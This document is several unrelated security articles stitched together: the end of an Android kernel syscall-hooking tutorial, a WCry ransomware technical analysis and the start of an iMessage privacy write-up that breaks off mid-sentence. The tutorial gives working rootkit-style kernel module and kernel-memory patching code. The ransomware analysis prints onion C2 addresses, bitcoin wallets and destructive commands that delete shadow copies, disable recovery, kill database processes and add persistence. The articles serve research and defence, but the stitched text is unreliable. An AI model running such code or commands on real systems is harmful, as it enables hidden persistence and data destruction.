you don't have to\). Restart the device in fastboot mode with the following
command:

[code]

    $ adb reboot bootloader
[/code]

Then, use the "fastboot boot" command to boot Android with the new kernel. In
addition to the newly built kernel and the original ramdisk, specify the
kernel offset, ramdisk offset, tags offset and commandline \(use the values
listed in your previously extracted bootimg.cfg\).

[code]

    $ fastboot boot zImage-dtb initrd.img --base 0 --kernel-offset 0x8000 --ramdisk-offset 0x2900000 --tags-offset 0x2700000 -c "console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 maxcpus=2 msm_watchdog_v2.enable=1"
[/code]

The system should now boot normally. To quickly verify that the correct kernel
is running, navigate to Settings->About phone and check the “kernel version”
field.

<img src='img/content_kernel-version.jpg' width='300' height='533' />

If everything went well, this should show the version string of your custom-
built kernel. Pat yourself on the back / howl triumphantly, you're now ready
for primetime\!

## Syscall Hooking using Kernel Modules

System call hooking allows us to attack any anti-reversing defenses that
depend on functionality provided by the kernel. With our custom kernel in
place, we can now use a LKM to load additional code into the kernel. We also
have access to the /dev/kmem interface, which we can use to patch kernel
memory on-the-fly. This is a classical Linux rootkit technique and has been
described for Android by Dong-Hoon You \[1\].

<img src='img/content_patching.jpg' width='450' height='348' />

The first piece of information we need is the address of sys\_call\_table.
Fortunately, it is exported as a symbol in the Android kernel \(iOS reversers
are not so lucky\). We can look up the address in the /proc/kallsyms file:

[code]

    $ adb shell "su -c echo 0 > /proc/sys/kernel/kptr_restrict"
    $ adb shell cat /proc/kallsyms | grep sys_call_table
    **c000f984** T sys_call_table
[/code]

This is the only memory address we need for writing our kernel module -
everything else can be calculated using offsets taken from the Kernel headers
\(hopefully you didn't delete them yet?\). Note: Alternatively, you can obtain
the sys\_call\_table address dynamically from within the Kernel module
\(example\). Thanks to LEON for pointing it out.

In this howto, we're going to use a Kernel module to hide a file. Let's create
a file on the device so we can hide it later:

[code]

    $ adb shell "su -c echo ABCD > /data/local/tmp/nowyouseeme"             
    $ adb shell cat /data/local/tmp/nowyouseeme
    ABCD
    
[/code]

Finally it's time to write the kernel module. For file hiding purposes, we'll
need to hook one of the system calls used to open \(or check for the existence
of\) files. Actually, there many of those - open, openat, access, accessat,
facessat, stat, fstat, and more. For now, we'll only hook the openat system
call - this is the syscall used by the "/bin/cat" program when accessing a
file, so it should be servicable enough for a demonstration.

You can find the function prototypes for all system calls in the kernel header
file arch/arm/include/asm/unistd.h. Create a file called kernel\_hook.c with
the following code:

[code]

    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/moduleparam.h>
    #include <linux/unistd.h>
    #include <linux/slab.h>
    #include <asm/uaccess.h>
    
    asmlinkage int (*real_openat)(int, const char __user*, int);
    
    void **sys_call_table;
    
    int new_openat(int dirfd, const char __user* pathname, int flags)
    {
      char *kbuf;
      size_t len;
    
      kbuf=(char*)kmalloc(256,GFP_KERNEL);
      len = strncpy_from_user(kbuf,pathname,255);
    
      if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0) {
        printk("Hiding file!\n");
        return -ENOENT;
      }
    
      kfree(kbuf);
    
      return real_openat(dirfd, pathname, flags);
    }
    
    int init_module() {
    
      sys_call_table = (void*)**0xc000f984** ;
      real_openat = (void*)(sys_call_table[__NR_openat]);
    
    return 0;
    
    }
[/code]

To build the kernel module, you need the kernel sources and a working
toolchain - since you already built a complete kernel before, you are all set.
Create a Makefile with the following content:

[code]

    KERNEL=[YOUR KERNEL PATH]
    TOOLCHAIN=[YOUR TOOLCHAIN PATH]
    
    obj-m := kernel_hook.o
    
    all:
            make ARCH=arm CROSS_COMPILE=$(TOOLCHAIN)/bin/arm-eabi- -C $(KERNEL) M=$(shell pwd) CFLAGS_MODULE=-fno-pic modules
    
    clean:
            make -C $(KERNEL) M=$(shell pwd) clean
[/code]

Run "make" to compile the code – this should create the file kernel\_hook.ko.
Copy the kernel\_hook.ko file to the device and load it with the insmod
command. Verify with the lsmod command that the module has been loaded
successfully.

[code]

    $ make
    (...)
    $ adb push kernel_hook.ko /data/local/tmp/
    [100%] /data/local/tmp/kernel_hook.ko
    $ adb shell su -c insmod /data/local/tmp/kernel_hook.ko
    $ adb shell lsmod
    kernel_hook 1160 0 [permanent], Live 0xbf000000 (PO)
    
[/code]

## Patching the System Call Table

Now, we’ll access /dev/kmem to overwrite the original function pointer in
sys\_call\_table with the address of our newly injected function \(this could
have been done directly in the kernel module as well, but using /dev/kmem
gives us an easy way to toggle our hooks on and off\). I have adapted the code
from Dong-Hoon You’s Phrack article \[1\] for this purpose - however, I used
the file interface instead of mmap\(\), as I found the latter to cause kernel
panics for some reason. Create a file called kmem\_util.c with the following
code:

[code]

    #include <stdio.h> 
    #include <stdlib.h>
    #include <fcntl.h> 
    #include <asm/unistd.h> 
    #include <sys/mman.h>
    
    #define MAP_SIZE 4096UL
    #define MAP_MASK (MAP_SIZE - 1)
    
    int kmem;
    void read_kmem2(unsigned char *buf, off_t off, int sz)
    {
      off_t offset; ssize_t bread;
      offset = lseek(kmem, off, SEEK_SET);
      bread = read(kmem, buf, sz);
      return; 
    }
    
    void write_kmem2(unsigned char *buf, off_t off, int sz) {
      off_t offset; ssize_t written;
      offset = lseek(kmem, off, SEEK_SET);
      if (written = write(kmem, buf, sz) == -1) { perror("Write error");
        exit(0);
      } 
      return;
    }
    
    int main(int argc, char *argv[]) {
    
      off_t sys_call_table;
      unsigned int addr_ptr, sys_call_number;
    
      if (argc < 3) { 
        return 0;
      }
    
      kmem=open("/dev/kmem",O_RDWR);
    
      if(kmem<0){
        perror("Error opening kmem"); return 0;
      }
    
      sscanf(argv[1], "%x", &sys_call_table); sscanf(argv[2], "%d", &sys_call_number);
      sscanf(argv[3], "%x", &addr_ptr); char buf[256];
      memset (buf, 0, 256); read_kmem2(buf,sys_call_table+(sys_call_number*4),4);
      printf("Original value: %02x%02x%02x%02x\n", buf[3], buf[2], buf[1], buf[0]);       
      write_kmem2((void*)&addr_ptr,sys_call_table+(sys_call_number*4),4);
      read_kmem2(buf,sys_call_table+(sys_call_number*4),4);
      printf("New value: %02x%02x%02x%02x\n", buf[3], buf[2], buf[1], buf[0]);
      close(kmem);
    
      return 0; 
    }
    
[/code]

Build kmem\_util.c using the prebuilt toolchain and copy it to the device.
Note that from Android Lollipop, all executables must be compiled with PIE
support:

[code]

    $ /tmp/my-android-toolchain/bin/arm-linux-androideabi-gcc -pie -fpie -o kmem_util kmem_util.c
    $ adb push kmem_util /data/local/tmp/
    $ adb shell chmod 755 /data/local/tmp/kmem_util
[/code]

Before we start messing with kernel memory we still need to know the correct
offset into the system call table. The openat system call is defined in
unistd.h which is found in the kernel sources:

[code]

    $ grep -r "__NR_openat" arch/arm/include/asm/unistd.h
    #define __NR_openat            (__NR_SYSCALL_BASE+**322**)
[/code]

The final piece of the puzzle is the address of our replacement-openat. Again,
we can get this address from /proc/kallsyms.

[code]

    $ adb shell cat /proc/kallsyms | grep new_openat
    **bf000000** t new_openat    [kernel_hook]
[/code]

Now we have everything we need to overwrite the sys\_call\_table entry. The
syntax for kmem\_util is:

[code]

    ./kmem_util <syscall_table_base_address> <offset> <func_addr>
    
[/code]

The following command patches the openat system call table to point to our new
function.

[code]

    berndt@osboxes:~/Host/Research/SoftToken/Android/Kernel/msm$ adb shell su -c /data/local/tmp/kmem_util c000f984 322 bf000000
    Original value: c017a390
    New value: bf000000
[/code]

Assuming that everything worked, /bin/cat should now be unable to "see" the
file.

[code]

    berndt@osboxes:~/Desktop/Module$ adb shell su -c cat /data/local/tmp/nowyouseeme
    tmp-mksh: cat: /data/local/tmp/nowyouseeme: No such file or directory
[/code]

Voilá\! The file "nowyouseeme" is now somewhat hidden from the view of all
usermode processes \(note that there's a lot more you need to do to properly
hide a file, including hooking stat\(\), access\(\), and other system calls,
as well as hiding the file in directory listings\).

File hiding is of course only the tip of the iceberg: You can accomplish a
whole lot of things, including bypassing many root detection measures,
integrity checks, and anti-debugging tricks. You can find some additional
examples in the "case studies" section of my recent paper.

## TL; DR

System call hooking is a useful technique for Android reverse engineers. To
use it, you need to build you own reverse engineering sandbox with a custom
kernel. This article showed how to do this on a Nexus 5 running Lollipop - the
process should be similar for other AOSP-compatible devices.

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this howto for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## References

\[1\] Phrack Volume 0x0e, Issue 0x44 - Android Kernel Rootkit

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

Follow him on Twitter: @muellerberndt

  

# WCry/WanaCry Ransomware Technical Analysis | Endgame
**Created:**| _5/24/2017 2:25:23 PM_  
---|---  
**Updated:**| _5/24/2017 2:25:23 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis awesome_  
  

  

May 14, 2017

##### WCry/WanaCry Ransomware Technical Analysis

<img src='img/Temp2_9038.jpg' width='57' height='57' alt='blog-author-image'
/>

Posted By:

  * Amanda Rousseau ,

Categories :

  * Malware Research,

As we discussed Friday when this outbreak began, the WCry or WanaCrypt0r
ransomware spread quickly across Europe and Asia, impacting almost 100
countries and disrupting or closing 45 hospitals in the UK. As the ransomware
continued to propagate, I got my hands on a sample and quickly began analyzing
the malware. This post will walk through my findings and provide a technical
overview of the strain of WCry ransomware which caused the massive impact on
Friday. Many have done great work analyzing this malware in action and helping
contain its spread, and I hope my comprehensive static analysis will provide a
good overall picture of this particular ransomware variant on top of that.

**The Note**

With estimates over 100,000 computers impacted globally thus far, many people
received unwelcome notes Friday similar to those below demanding a fee to
decrypt their files. Notes like these are unfortunately all too common and
typical of today’s ransomware. While the notes promise to return the data,
it’s not guaranteed that paying the ransom will return data safe and sound,
but if it gets this far and adequate backups are not in place, it may be the
only recourse the victim has. No one ever wants to see one of these.

**Ransom Note**

<img src='img/Temp2_9037.jpg' width='618' height='448' alt='Ransom Note' />

**Ransom Note Desktop Background**

<img src='img/Temp2_9051.jpg' width='623' height='464' alt='Ransom Note
Desktop Background' />

**Where to Begin?**

There has been a lot of discussion about the method of propagation and the
overall impact of this ransomware, but what does this ransomware actually do
from start to finish? That is the question I’ll answer in this post.

To begin, we accessed the malware by grabbing it \(SHA256
24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c/MD5
Db349b97c37d22f5ea1d1841e3c89eb4 \) from VirusTotal. See the appendix for a
summary of the files dropped with the malware.

**Dropper Malware Details**

MD5: Db349b97c37d22f5ea1d1841e3c89eb4

<img src='img/Temp2_9050.jpg' width='360' height='174' alt='Dropper Malware
Details' />

**Dropped EXE Details**

MD5: 84c82835a5d21bbcf75a61706d8ab549

<img src='img/Temp2_9040.jpg' width='456' height='165' alt='Dropped EXE
Details' />

**The WCry Execution Flow**

The WCry ransomware follows a flow similar to that of other ransomware as it
damages a machine. The high level flow is as follows: It begins with an
initial beacon, other researchers have already reported is basically a
killswitch function.  If it makes it past that step, then it looks to exploit
the ETERNALBLUE/MS17-010 vulnerability and propagate to other hosts. WCry then
goes to work doing damage to the system, first laying the foundations for
doing the damage and getting paid for recovery, and once that’s done, WCry
starts encrypting files on the system. See the diagram below for an overview
of how this malware works. I’ll walk through each of these steps in more
detail below.

<img src='img/Temp2_9044.jpg' width='762' height='1388' alt='WCry Execution
Flow' />

As the graphic illustrates, the malware inflicts damage by executing a series
of tasks. I’ll walk through each of these tasks, which are numbered below.
Each first level of the outline corresponds to that step in the execution flow
graphic.

**Initial infection and propagation**

1\. Beacon to
hxxp://www\[.\]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea\[.\]com. Successful
connection will cause the malware to quit. Note that other researchers have
reported seeing strains since Friday which have an alternate killswitch URL.

2\. Run the resource Exe as a new service

a. If Command line args as “-m security”

1\. OpenSCmanager

2\. Create a new service called "Microsoft Security Center \(2.0\) Service”;
“mssecsvc2.0" as mssecsvc.exe

3\. StartService

4\. Load Resource “tasksche.exe”

5\. Save as C:\\\WINDOWS\\\tasksche.exe

6\. Move C:\\\WINDOWS\\\tasksche.exe to C:\\\WINDOWS\\\qeriuwjhrf

b. Else Propagate via **SMB ETERNAL BLUE / DOUBLE PULSAR Exploit**

1\. OpenSCManager

2\. Access service “mssecsvc2.0"

3\. Change Service Config

4\. Start Service Crtl Dispatcher \(Run SMB Exploit\)

a. Run thread containing the Payload transfer

<img src='img/Temp2_9035.jpg' width='439' height='398' alt='Thread Payload' />

**Setting up the payload**

b. GetAdaptersInfo to get IPs

c. New thread to propagate the payload

<img src='img/Temp2_9048.jpg' width='321' height='399' alt='Payload Delivery'
/>

**Payload Delivery**

1\. Get TCP Socket for Port 445 \(Server Message Block/SMB\)  
2\. Connect to SMB Socket and get SMB tree\_id

a. SMB\_COM\_NEGOTIATE  
b. Get Tree: ipc\_share = "\\\\\\\\\#\{ip\}\\\IPC$” and
SMB\_COM\_TREE\_CONNECT\_ANDX  
c. SMB\_COM\_TRANSACTION

<img src='img/Temp2_9047.jpg' width='624' height='110' alt='Metasploit' />

**Example Pseudocode: The screenshot above is from theMetasploit Framework's
implementation created after the Shadow Broker's leaks and recent weaponized
exploit from RiskSense-Ops.**

3\. Run smb ms17-010 Exploit function  
a. do\_smb\_ms17\_010\_probe\(tree\_id\)

1\. Setup SMB\_TRANS\_PKT

b. If vulnerable, do\_smb\_doublepulsar\_probe\(tree\_id\)  
1\. Prepare Base64 Payload in Memory  
2\. Setup SMBv1 Echo Packet  
3\. make\_smb\_trans2\_doublepulsar

a. Setup SMB\_TRANS2\_PKT \(See Appendix\)  
4\. if code == 0x51: Successful payload  
c. Execute Payload Shellcode \(See Appendix\)  
<img src='img/Temp2_9049.jpg' width='484' height='160' alt='Code 51' />  
**If code == 0x51 - successful payload\!\!\!**

c. After Service execution

1\. Gets the computer name  
2\. Randomizes string  
3\. Get command line args and Checks for switch “/i”

**Preparation for Ransomware Activity**

3\. Extract ZIp and Prep Tor and Bitcoin Info:

a. Extract resource zip file XIA with hardcoded password “WNcry@2ol7”  
b. Get c.wnry, which includes the Tor configuration used by the malware  
c. Extract the configuration from c.wnry to get the Tor browser and onion
sites to be used for communication and onion sites to be used for
communication:

gx7ekbenv2riucmf.onion;

57g7spgrzlojinas.onion;

xxlvbrloxvriy2c5.onion;

76jdd2ir2embyv47.onion;

cwwnhwhlz52maqm7.onion;

hxxps://dist\[.\]torproject\[.\]org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

d. Load Bitcoin wallets which have been previously set up by the attackers for
payment for file restoration and update c.wnry

“13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94”

“12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw"

“115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn"

4\. Hide Extract Zip Directory and Modify Security Descriptors

a. Create process: Runs command to hide current directory: "attrib +h . “  
b. Runs command: icacls . /grant Everyone:F /T /C /Q. This grants all users
full access to files in the current directory and all directories below.

5\. Prep Encryption Public Key, AES Key, Decrypt the DLL

a. Load exports with getprocaddress: CreateFileW, WriteFile, ReadFile,
MoveFileW, MoveFileExW, DeleteFileW, CloseHandle  
b. Set up Encryption Keys

1\. SetUp Cypto function exports: CryptGenKey, CryptDecrypt, CryptEncrypt,
CryptDestroyKey, CryptImportKey, CryptAcquireContextA  
2\. Get RSA\_AES Cryptographic Provider  
3\. CryptImportKey import the hard coded public key

  
BOOL WINAPI CryptImportKey\(

\_In\_ HCRYPTPROV hProv,

\_In\_ BYTE \*pbData,

\_In\_ DWORD dwDataLen, 1172B 2048 bit RSA key \(See Appendix\)

\_In\_ HCRYPTKEY hPubKey,

\_In\_ DWORD dwFlags,

\_Out\_ HCRYPTKEY \*phKey

\);

3\. Parse t.wnry to get AES key used to decrypt the DLL key used to decrypt
the DLL  
a. WANACRY\! Length 8  
b. Read Length 100h = Encrypted AES Key  
c. Read 4h = 04 00 00 00  
d. Read 8h DLL Length = 00 00 01 00 00 00 00 00  
e. Decrypt Encrypted AES Key with Public Key  
f. Read encrypted DLL length 1000h  
g. Decrypt DLL with custom AES-128-CBC algorithm with 16B AES Key \(See
Appendix\)  
4\. Get Native System Info and GetProcessHeap

5\. Put EncryptedData In Heap Location  
6\. Change the protection of that memory location.

**Encrypted DLL Details**

**96de5f0587f7201b9f5f16ba2e374f80**

<img src='img/Temp2_9036.jpg' width='484' height='183' alt='Encrypted DLL
Details' />

_**Spoofed information the decrypted DLL’s VERSIONINFO resource**_

6\. Run DLL Export at function TaskStart

7\. Creates Encryption Keys to be used by the user file encryption routine

a. Create Encryption Key by Encrypting the user’’s private key with the
ransomware public key and stored in “%08X.eky” \(See Appendix\)  
b. Also tries to access “%08X.dky” for the received Decryption key

8\. Creates Mutex for all threads: Global\\\MsWinZonesCacheCounterMutexW

a. Other researchers have noted that if this mutex is present, the malware
will not start, offering another way to defend against this malware.

9\. Creates a new thread pointing to the setup that starts encrypting files

a. Generates AES Keys to encrypt files using CryptGenKey

**Encryption routine**

10\. Creates a new thread to overwrite files on disk

a. Generate a key  
b. Generate Data Buffers for each file  
c. Call thread for function StartAddress to begin writing encrypting file
contents  
d. Tack on extension ".WNCRYT”

11\. Run new process taskdl.exe in a new thread

12\. Set Up the Decrypter Persistence:

a. Read Configuration File  
b. Finds the location of @WanaDecryptor@.exe  
c. Create process "taskse.exe @WanaDecryptor@.exe”  
d. Set persistence key to run itself on reboot
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  
e. CheckTokenMembership, GetComputerName Info  
f. Run: cmd.exe /c reg add
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v "<rand>" /t REG\_SZ /d
“\"tasksche.exe\"" /f  
g. Looks for “f.wnry" \(what this is for is not clear in my analysis\)

**@WanaDecryptor@.exe Details**

MD5: 7bf2b57f2a205768755c07f238fb32cc

<img src='img/Temp2_9043.jpg' width='463' height='172' alt='WanaDecryptor.exe
Details' />

**Spoofed information the decrypted DLL’s VERSIONINFO resource**

13\. Runs: @WanaDecryptor@.exe fi

a. Reads config file for Tor Client  
b. Runs Tor Client. Note that I did not drill into the communications deeply
during this analysis. It’s basically connecting to the .onion sites listed
above to allow for user payment and tracking.

14\. Creates @WanaDecryptor@.exe persistence and backup

a. Creates lnk file @WanaDecryptor@.exe.lnk via batch script

  
@echo off  
echo SET ow = WScript.CreateObject\("WScript.Shell"\)> m.vbs  
echo SET om = ow.CreateShortcut\(“@WanaDecryptor@.exe.lnk"\)>> m.vbs  
echo om.TargetPath = "@WanaDecryptor@.exe">> m.vbs  
echo om.Save>> m.vbs  
cscript.exe //nologo m.vbs  
del m.vbs

b. Write to <randominteger>.bat

1\. Execute batch script  
2\. Delete: del /a %%0

15\. Creates Ransom Notes @Please\_Read\_Me@.txt from “r.wnry"  
16\. Encrypts files, kills /database and email server-related processes if
they are running

a. Capture UserName  
b. Get Drive Type  
c. Runs:

taskkill.exe /f /im Microsoft.Exchange.\*

taskkill.exe /f /im MSExchange\*

taskkill.exe /f /im sqlserver.exe

taskkill.exe /f /im sqlwriter.exe

taskkill.exe /f /im mysqld.exe

d. Check Free Disk Space  
e. Loops through files and encrypts \(see appendix for the targeted
extensions\) and encrypts \(See Appendix for the targeted extensions\)

17\. Runs: @WanaDecryptor@.exe co

a. Writes to .res file compiled by the time decrypted

b. Writes to .res file compiled by the time decrypted

c. Run Tor service: taskhsvc.exe TaskData\Tor\taskhsvc.exe

18\. Runs: cmd.exe /c start /b @WanaDecryptor@.exe vs

a. Deletes the volume shadow copies with the command: Cmd.exe /c vssadmin
delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set \{default\}
bootstatuspolicy ignoreallfailures & bcdedit /set \{default\} recoveryenabled
no & wbadmin delete catalog -quiet with the command: Cmd.exe /c vssadmin
delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set \{default\}
bootstatuspolicy ignoreallfailures & bcdedit /set \{default\} recoveryenabled
no & wbadmin delete catalog -quiet

**Conclusion**

Despite its ability to propagate so quickly, the ransomware activities taken
by this malware are not particularly interesting or novel. As I demonstrated
in this malware, the killswitch in the execution flow provided a unique
opportunity to slow down the ransomware. As security researcher MalwareTech
discovered, and Talos described in detail, this malware was programmed to bail
out upon a successful connection to that server, which stops the malware
altogether. We should all thank MalwareTech for setting up the sinkhole, which
caused this outbreak to slow sooner than it otherwise would have.

This malware is easy to modify. As mentioned above, other researchers are
already finding variants in the wild. If you’re running Windows and haven’t
patched yet, now’s the time to do it. And while you’re at it, go test your
backups to build some confidence that you won’t be forced to choose between
paying up or losing data should the worst happen to you or your organization.

**Appendix**

**Summary of Files**

<img src='img/Temp2_9042.jpg' width='624' height='258' alt='Screen Shot
2017-05-14 at 8.23.46 AM.png' />

**Zip File\(b576ada...31\) Contents**

<img src='img/Temp2_9039.jpg' width='624' height='414' alt='Screen Shot
2017-05-13 at 9.39.43 PM.png' />  

**Extensions to encrypt**

.doc,.docx,.docb,.docm,.dot,.dotm,.dotx,.xls,.xlsx,.xlsm,.xlsb,.xlw,.xlt,.xlm,.xlc,.xltx,.xltm,.ppt,.pptx,.pptm,.pot,.pps,.ppsm,.ppsx,.ppam,.potx,.potm,.pst,.ost,.msg,.eml,.edb,.vsd,.vsdx,.txt,.csv,.rtf,.123,.wks,.wk1,.pdf,.dwg,.onetoc2,.snt,.hwp,.602,.sxi,.sti,.sldx,.sldm,.sldm,.vdi,.vmdk,.vmx,.gpg,.aes,.ARC,.PAQ,.bz2,.tbk,.bak,.tar,.tgz,.gz,.7z,.rar,.zip,.backup,.iso,.vcd,.jpeg,.jpg,.bmp,.png,.gif,.raw,.cgm,.tif,.tiff,.nef,.psd,.ai,.svg,.djvu,.m4u,.m3u,.mid,.wma,.flv,.3g2,.mkv,.3gp,.mp4,.mov,.avi,.asf,.mpeg,.vob,.mpg,.wmv,.fla,.swf,.wav,.mp3,.sh,.class,.jar,.java,.rb,.asp,.php,.jsp,.brd,.sch,.dch,.dip,.pl,.vb,.vbs,.ps1,.bat,.cmd,.js,.asm,.h,.pas,.cpp,.c,.cs,.suo,.sln,.ldf,.mdf,.ibd,.myi,.myd,.frm,.odb,.dbf,.db,.mdb,.accdb,.sql,.sqlitedb,.sqlite3,.asc,.lay6,.lay,.mml,.sxm,.otg,.odg,.uop,.std,.sxd,.otp,.odp,.wb2,.slk,.dif,.stc,.sxc,.ots,.ods,.3dm,.max,.3ds,.uot,.stw,.sxw,.ott,.odt,.pem,.p12,.csr,.crt,.key,.pfx,.der

**Public RSA2 Key to Decrypt AES Key \(Converted to Base64 for Display\)**

BwIAAACkAABSU0EyAAgAAAEAAQBDK00rBJwK2Z8e2l/tMqnv4c4aUPQV51F77LAnVgVYtPaDybZ3W4BhGByrFNVq/TtwnRM/LiET8eev4/urbkNxJW0dUtYFXxMnniiJ9sqQkwpoxN6Cm6rCggKxGGABYxu8cY2+ZIhe1Q1swZzJATaJyYA3jx2JZ08MsTxhCToCXbhO9YgKn4wKht+R/s2fo6AT0y0wd9HwqNerluVIljcDaWSXBlwnUIyRdmeFOmxqslkSCmHyoe6oJMjksRFt1sz3j0xesFWEgW1gRYQP/N/5J6VSyVsGKKPedAPWx3Jm3L6kHv8glu1RhADMnDZk8oVNzzZg3ciw8ZHbeguD7s/vGdcS2q6G2fkOvgKvePNbSb4MmK+1X9aKTAVIZJxA4Rz5PMTkQggtsriK5gtt35PMNOhIMJNd340usz015GYwrYvnID3gydlsNkt5uWTNvF4kSNSIkBw9F05lDOz7GyvsXMMG1mw52Gx+I59Ar0BhtPux9oLNoSa4jcg4j5QDTvu77Bde3Ub35/vfJSGtNb2bHbUBP06wILcjNnmBKTze4nbX5h+f6i2lxGqqQDANzP5Y6Ykoy9fknHu5UBenMSE7tJHzhKa9ngPK6c3uTSsp+gIP5yyuML2FzC0TgxJT0/NBTvUj1s5fQc2BfDvwSYG47o01PLrsksfuzyRjAfNK9Nnai+LApKV/2o88UBnswjNaj+57WumDepb9lEtpUJrSNNEJYUWWfdgSXqiuesAmpW/W5WSTAxOjKW0DJPfCielGRnKrVNzYx3UPLRMx522IoT6hLb7/25TRvW3jwlXHyvsrYzEXl0KRkyHdUyUdZMmVZNm1ep+jyuIPGWbkBLVNb10zdhzpIHFLIuBVXpFWVJQ8Njv9/qFi0N/TbpWL4ZbOT3x4OCteXxuMk4BabSNvbfcZiPGMPVIb2Ku01KCIDaz7evrCNcSnqVBiSqyYmzDhWTdRDG0odKwR2XA4LDXTuNnxt0+hNDaLKWE5NQBw3nPl1Ry7XrhgtnBJhXllRnqUgdbMEgWEQ0Bt/HdVjkX4PbmHp4nSWSjOFppT3J2Ck62xPLmmLaqdQ+zifcoyL08tXy5YOHcuKxsK+v55WoDhjSNnQP/T05V6FL6TG/jvN8LuyL9ZPJxdJbZE/2ub6bT9WYW68ToBBfE+Yg1/H+KBl2ZjkCC7lrTPRMd8fn0lLjE1iyoYq9JByTKqS8rvKB2/KpwcNgJrAg+n7RDAoNrPCXJZW8Y8+RV/qiIAcuClXHkGbmI1M4lWq1/x/ZNiToEePfwFaaQvURviyA6mhqK/naScs9yJs+Ow8Ndg1mzeaR7JsAKFltc1hjYWW+YF4fkL7SWA4AoExZZdNGxM8ODHt4qQPJiiepLqUekF7H08yc2qtmaz20jPfftt3QS5G5eevuFYZv3pcKz5/7YjF/3wNQxBOjiaLz8WKuipczB8OMnEfsZopHj+bQAoTjOH5bbJxT3sDpID6xWbOHO/D8F7WolR8Zdx9dXKRJ+H5901bcAfzVuTwQAO8aklyPboi8c=

**AES Decrypted Key for Decrypting the DLL**

BE E1 9B 98 D2 E5 B1 22 11 CE 21 1E EC B1 3D E6

**Extracting Encrypted AES Key and Encrypted DLL from t.wrny**

<img src='img/Temp2_9041.jpg' width='610' height='617' alt='Extracting
Encrypted AES Key and Encrypted DLL from t.wrny' />

**Hard Coded Public Key to Encrypt User Private Key \(Converted to Base64 for
Display\)**

BgIAAACkAABSU0ExAAgAAAEAAQB1l0w7hEbeLCr0lahdwM1t2tfUkh4TgjRqcI2PfPcEklV/8aInsp5BrJCAkRiTwrF7rSvz/6/bK1G+HaMn46dXCFq+wR32BPgcvluxZ/vkyNp1AHCxF3AkbAljdKxLCh1xrn+uZbjFhnnFfp+YYExSuSliyyMp7TGRdHt7CyYb8n1nv9p6QNryYU2UpX2tWWutnqM6OcZbbp/Suza19dJl9Sww2MEXva8oAJYgRqctYgMM19B1oAsH6tQfyujZTts48iZ1yxKmiHCb4eoy3PhxclBB5heBaCdCjt/l3qFy2Tv75Z0wEWmSzWAr4tVGPCjPnTBK9625+w+R/i6+GPHO

**Dll Decrypt Private Key \(Converted to Base64 for Display\)**

BgIAAACkAABSU0ExAAgAAAEAAQBDK00rBJwK2Z8e2l/tMqnv4c4aUPQV51F77LAnVgVYtPaDybZ3W4BhGByrFNVq/TtwnRM/LiET8eev4/urbkNxJW0dUtYFXxMnniiJ9sqQkwpoxN6Cm6rCggKxGGABYxu8cY2+ZIhe1Q1swZzJATaJyYA3jx2JZ08MsTxhCToCXbhO9YgKn4wKht+R/s2fo6AT0y0wd9HwqNerluVIljcDaWSXBlwnUIyRdmeFOmxqslkSCmHyoe6oJMjksRFt1sz3j0xesFWEgW1gRYQP/N/5J6VSyVsGKKPedAPWx3Jm3L6kHv8glu1RhADMnDZk8oVNzzZg3ciw8ZHbeguD7s/v

**Other Files**

**Name** |  **Description**  
---|---  
00000000.eky |  User private key encrypted by the Ransomware Publickey  
00000000.pky |  Public Key used for Encrypting Files  
00000000.res |  Tor/C2 info  
00000000.dky |  Decryption key received by the Authors  
**Struct for SMB\_TRANS2\_PKT**

<img src='img/Temp2_9045.jpg' width='624' height='938' alt='Struct for
SMB_TRANS2_PKT' />

**Screenshot of Shellcode in SMB1 Trans2 Packet Body**

<img src='img/Temp2_9046.jpg' width='624' height='693' alt='Screenshot of
Shellcode in SMB1 Trans2 Packet Body' />

  

# iMessage Privacy

**Created:**| _10/17/2013 11:43:07 AM_  
---|---  
**Updated:**| _10/17/2013 11:43:07 AM_  
**Author:**| __  
**Tags:**| _network-security apple_  
  

#  iMessage Privacy****

iMessage is probably one of the most trendy instant messaging systems. Apple
presents it as very secure, with high cryptographic standards, including end-
to-end encryption preventing even Apple from reading the messages**.** Is this
true?

## Presentation****

Here you can download our slides of the presentation we gave at
**HITBSecConf2013** :

http://blog.quarkslab.com/static/resources/2013-10-17\_imessage-
privacy/slides/iMessage\_privacy.pdf

## Quick answers****

  * What we are _not_ saying: Apple reads your iMessages**.**
  * What we are saying: Apple can read your iMessages if they choose to, or if they are required to do so by a government order**.**

As Apple claims, there is end-to-end encryption**.** The weakness is in the
key infrastructure as it is controlled by Apple: they can change a key anytime
they want, thus read the content of our iMessages**.**

Also remember that the content of the message is one thing, but the metadata
are also sensitive**.** And there, you rely on Apple to carry your messages,
thus they have your metadata**.**

Now, you can read the article or jump to end of the article where we
summarized it**.**

* * *
## 1\. Instant messaging eavesdropping****

For years now, every time a new instant messaging service has risen, lot of
people ask questions about its security**.** Remember _BlackBerry_ or _Skype_
at the beginning, they claimed to be encrypted thus secure, impossible to
eavesdrop**.** Years later, answers are coming from everywhere to deny that
\[1\] \[2\]**.** For people working in the security industry, this is not a
surprise**.** It is the role of a government to ensure security of people, and
governments need ways to eavesdrop dangerous people**.** The question is more
ethic than legal, and deals with the power given to intelligence agencies**.**

Recently, Snowden's leaks showed it was even worst than what many people
imagined: crypto standard backdoored, collusion with major companies, massive
data collection, intrusion everywhere, ..**.** Despite that context and the
legitimacy for government to practice lawful interception, all companies
